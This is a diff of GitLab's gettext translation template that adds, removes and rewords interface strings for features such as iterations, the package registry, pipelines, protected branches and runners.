msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
